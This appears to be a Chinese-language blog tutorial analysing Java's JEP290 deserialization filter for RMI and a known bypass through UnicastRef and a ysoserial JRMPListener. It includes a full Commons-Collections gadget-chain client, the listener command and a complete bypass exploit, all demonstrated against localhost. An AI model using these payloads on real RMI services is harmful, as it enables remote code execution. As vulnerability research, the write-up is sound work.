目录

Java JEP290

Java JEP290

前言:JEP290解释了为什么高版本 jdk 有部分能打 jndi,打不了 RMI

8u121 ~ 8u230 打不了 RMI

JEP290 介绍

首先 JEP 是 JDK Enhancement Proposal,JDK改善方案,是JDK增强提议的一个项目。而 JEP290 主要描述的是Filter Incoming Serialization Data,过滤传入的序列化数据。JEP290是Java底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事:

1、提供一个限制反序列化类的机制,白名单或者黑名单。
2、限制反序列化的深度和复杂度。
3、为 RMI 远程调用对象提供了一个验证类的机制。
4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

适用范围:JDK6u141、JDK7u131、JDK8u121

设置方式

  • 通过setObjectInputFilter来设置filter
  • 通过conf/security/java.properties文件进行配置

JEP290 防御分析

环境:JDK8u192

在此Java环境下进行服务端攻击注册中心(在 RMI 中 JEP290 主要是在远程引用层 之上进行过滤的,所以其过滤作用对 Server 和 Client 的互相攻击无效),poc

package org.example;  
  
import java.rmi.NotBoundException;  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Proxy;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{  
  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
  
        Transformer chain = new ChainedTransformer(transformers);  
  
        HashMap innermap = new HashMap();  
  
        innermap.put("value","111");  
        Map map = LazyMap.decorate(innermap, chain);  
  
  
        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);  
        handler_constructor.setAccessible(true);  
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler  
  
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象  
  
  
        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);  
        AnnotationInvocationHandler_Constructor.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
  
        Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));  
  
        registry.bind("test",r);  
  
    }  
}

运行发现报错,客户端:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228173144953.png

注册中心

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228173623424.png

因为这里是攻击注册中心,最后漏洞点在于 RegistryImpl_Skel.dispatch,在这里下断点调试

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228184202194.png

跟进,ObjectInputStream 类调用了 readObject0() 方法,然后继续跟进到 readObject0() 方法,之前反序列化底层分析说过这里面会根据了 tc 值来进行 switch,此时的 tc 值为 TC_OBJECT,也就是 0x73 十进制数 115 所以会到case TC_OBJECT:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228184625708.png

继续跟进 readOrdinaryObject 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228185022703.png

调用了 readClassDesc,此方法用来分发处理字节流中 TC_CLASSDESC 的方法,用switch来选择需要处理的方法,这里tc的值就是 TC_CLASSDESC 的值0x72,转成10进制就是114,然后进入switch判断后转到 case TC_CLASSDESC:

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228192608888.png

readProxyDesc() 方法中会调用到 resovleclass 方法,这个方法会实列化反序列化对象,一般会重新这个方法进行 waf,当然这里不是研究的内容,看到下面调用 filterCheck(),跟进这个方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228192820543.png

filterCheck() 方法又调用了 checkInput() 方法, https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228193045119.png

调用 checkInput 方法后,最后会调用到 RegistryImpl.registryFilter 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228194038562.png

这里就是个白名单,需要类在下面这个白名单才行:

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤。

DGCImpl类下也定义了checkInput方法,同样设置了白名单

JEP290 绕过

这里我们可以先看一下白名单里面都能过什么,白名单如下

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

绕过利用

针对上面的白名单发现一个比较眼熟的类,那就是 UnicastRef 类。在JRMP反序列化中就用到了这个类作为payload向恶意JRMP服务端进行连接通信导致传入了一个恶意对象造成反序列化攻击,更多参考:Java JRMP反序化

先用 ysoserial 开启 JRMP 3333 端口的监听(服务端)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

然后编写 RMI 的 EXP(服务端攻击注册中心)

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class BypassJEP290 {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 1099
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

成功弹出计算机,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228202901528.png

绕过分析

简单分析一下。

我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228203110982.png

当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与服务端进行通信

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228203443382.png

然后把绑定的对象发送过去,进行一系列的反序列化,调用链,

readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)     // 从此处开始,会遇到很多字节码不匹配的问题
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

看到从 RegistryImpl_Skel.dispatch 中反序列化开始然后会一直调用到 RemoteObjectreadObject 方法,

接下来又是一系列的方法调用,最后在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。

invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP。


参考

https://drun1baby.top/2023/04/18/浅谈-JEP290/#0x04-JEP290-绕过

https://nivi4.notion.site/Java-JEP290-2d215aeb18924d17b89e3acf049095ef